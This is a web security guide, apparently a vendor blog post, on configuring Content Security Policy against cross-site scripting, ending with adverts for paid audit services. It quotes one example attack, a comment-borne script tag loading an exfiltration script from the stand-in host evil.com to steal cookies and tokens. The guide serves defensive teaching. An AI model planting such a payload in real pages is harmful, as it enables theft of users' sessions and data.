CSP Configuration Guide 2026: Why 'unsafe-inline' Nullifies Security
CSP is the second XSS defense after input sanitization. Learn modern CSP setup (nonce + strict-dynamic) and why 'unsafe-inline' reduces protection to security theater.
In Short
Content Security Policy (CSP) is an HTTP header through which the server instructs the browser on which sources of code, styles, images, fonts, scripts, AJAX connections, or iframes are permitted. Without CSP, the browser executes any loaded script—including scripts injected via Cross-Site Scripting (XSS), reflected in the URL, or served from compromised CDNs.
CSP is the second line of defense against XSS (the first being input sanitization) and is explicitly mentioned in OWASP Top 10:2025 — A02 Security Misconfiguration as a mandatory measure for applications handling sensitive data or authentication.
Mistake #1 in real-world deployments: including 'unsafe-inline' in script-src—this nullifies 95% of the protection.
Anatomy of an XSS Attack and How CSP Blocks It
The “Unsanitized Comment” Case
The attacker posts a comment on your blog:
<script src="https://evil.com/exfil.js"></script>
If the input is not escaped, the users’ browsers execute the script from evil.com with their session privileges. The attacker exfiltrates cookies, JWT tokens from localStorage, and data from forms in execution.
With CSP script-src 'self', the browser refuses to load the script from an external domain → attack fails.
The “Compromised CDN” Case (Polyfill.io 2024)
Polyfill.io was sold to a Chinese company and subsequently injected malware into polyfills. All sites loading cdn.polyfill.io/polyfill.min.js served malware to their users.
With CSP using 'sha256-XXXX...' (subresource integrity hash) or an explicit allowlist, modification of the CDN content is detected instantly and the script is refused.
The “iframe Spoofing” Case
An attacker loads your site in a transparent iframe over their own page and overlays fake buttons on top of real forms (clickjacking). CSP frame-ancestors 'none' blocks loading in an external iframe.
Anatomy of a Correctly Configured CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' 'sha256-Vk5c5gB...' https://js.stripe.com;
style-src 'self' 'unsafe-hashes' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.stripe.com;
frame-src https://js.stripe.com https://checkout.stripe.com;
frame-ancestors 'none';
form-action 'self' https://checkout.stripe.com;
base-uri 'self';
object-src 'none';
upgrade-insecure-requests;
report-uri /csp-violations
Important Directives Explained
| Directive | Role |
|---|---|
default-src 'self' | Strict fallback — any resource not explicitly covered falls back to 'self' |
script-src | Permitted sources for JavaScript (the most critical directive) |
style-src | Permitted sources for CSS |
img-src | Permitted sources for images |
connect-src | Permitted sources for fetch, XMLHttpRequest, WebSocket |
frame-src | Who can be loaded into your iframes |
frame-ancestors | Who can load your site in an iframe (anti-clickjacking) |
form-action | Where forms can submit to (anti-form-hijacking) |
base-uri | Restricts <base href> (anti-rebase attack) |
object-src 'none' | Blocks <object>, <embed> (Flash legacy) |
report-uri | Endpoint that receives JSON with violations |
Why 'unsafe-inline' Nullifies CSP
'unsafe-inline' in script-src allows the execution of any inline <script> or onclick=, onmouseover= attribute. This is exactly the XSS vector that CSP is supposed to block.
By allowing 'unsafe-inline', CSP becomes security theater—the header exists but protects nothing relevant.
Check your site’s current CSP at https://csp-evaluator.withgoogle.com/ (Google)—it automatically flags weak configurations.
The Modern Strategy (CSP Level 3)
In 2026, the recommended approach is:
script-src 'self' 'nonce-r4nd0m1234' 'strict-dynamic';
'nonce-r4nd0m'— a random token generated per request (16+ bytes base64), injected into all<script nonce="r4nd0m1234">. The attacker does not know the nonce.'strict-dynamic'— scripts with a valid nonce can load other scripts, ignoring the rest of the list. Reduces overhead of explicit allowlisting.
Step-by-Step Implementation
Step 1 — Audit External Dependencies
Identify all domains from which you load JS/CSS/img/fonts:
- Google Analytics (
googletagmanager.com,google-analytics.com) - Stripe (
js.stripe.com,checkout.stripe.com) - Google Fonts (
fonts.googleapis.com,fonts.gstatic.com) - Library CDNs (
cdnjs.cloudflare.com) - Ads, social plugins, etc.
DevTools → Network tab on critical pages (login, checkout, dashboard) — complete list.
Step 2 — Start with Report-Only Mode (7-14 Days)
Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /csp-violations
The browser does not block anything, only reports violations to the endpoint. This allows you to detect missing resources before blocking them.
Step 3 — Setup /csp-violations Endpoint
Server-side (Express, FastAPI, etc.) — receives POST with JSON containing the blocked URL, violated directives, and origin page. Log + analyze. After 14 days without false positives → switch to enforce.
Step 4 — Switch to Enforce
Content-Security-Policy: default-src 'self'; ...; report-uri /csp-violations
Remove Content-Security-Policy-Report-Only (leave only enforce + report-uri).
Step 5 — Migrate to Nonce-Based (Recommended 2026)
- Move all inline scripts to separate
.jsfiles - For remaining inline
<script>tags, use nonce or sha256 hash - Onclick handlers
<button onclick="...">→ addEventListener in external.js
<!-- Before -->
<button onclick="doSomething()">Click</button>
<!-- After -->
<button id="action-btn">Click</button>
<script nonce="r4nd0m1234">
document.getElementById('action-btn').addEventListener('click', doSomething);
</script>
Step 6 — Monitor Production
/csp-violations logs should be reviewed weekly. Error volume indicates:
- Pages with undeclared external resources (fix policy)
- Active attacks in progress (fix root cause)
Common Confusions
“CSP breaks my site.” — Only if you deploy directly to enforce without report-only. With the correct ramp-up, the risk is zero.
“CSP is overkill — I use DOMPurify for input sanitization.” — Sanitization is level 1 (preventive). CSP is level 2 (defense in depth). Both are necessary in 2026.
“I have 'unsafe-eval' just for one library, is it OK?” — 'unsafe-eval' opens the door to dynamic code injection. Refactor the library or replace it. Legacy code must be re-verified.
Check Now
ARTEMIS automatically detects the presence of CSP + flags weak configurations (unsafe-inline, unsafe-eval) at 2 EUR per Site scan or 40 EUR Full.
🔗 Complementary CAI Technology Solutions
- ARTEMIS — Technical CSP audit + 36 other web security checks.
- Auditope — Holistic web audit (SEO + AI search + Performance + WCAG + GDPR + UX).
- Lexnomia — EU compliance assessment (NIS2 / GDPR / DORA / ISO 27001).
- BeLegal — Free 5-minute EU compliance check.
- AriaUnited — European funds consultancy for cybersecurity investments.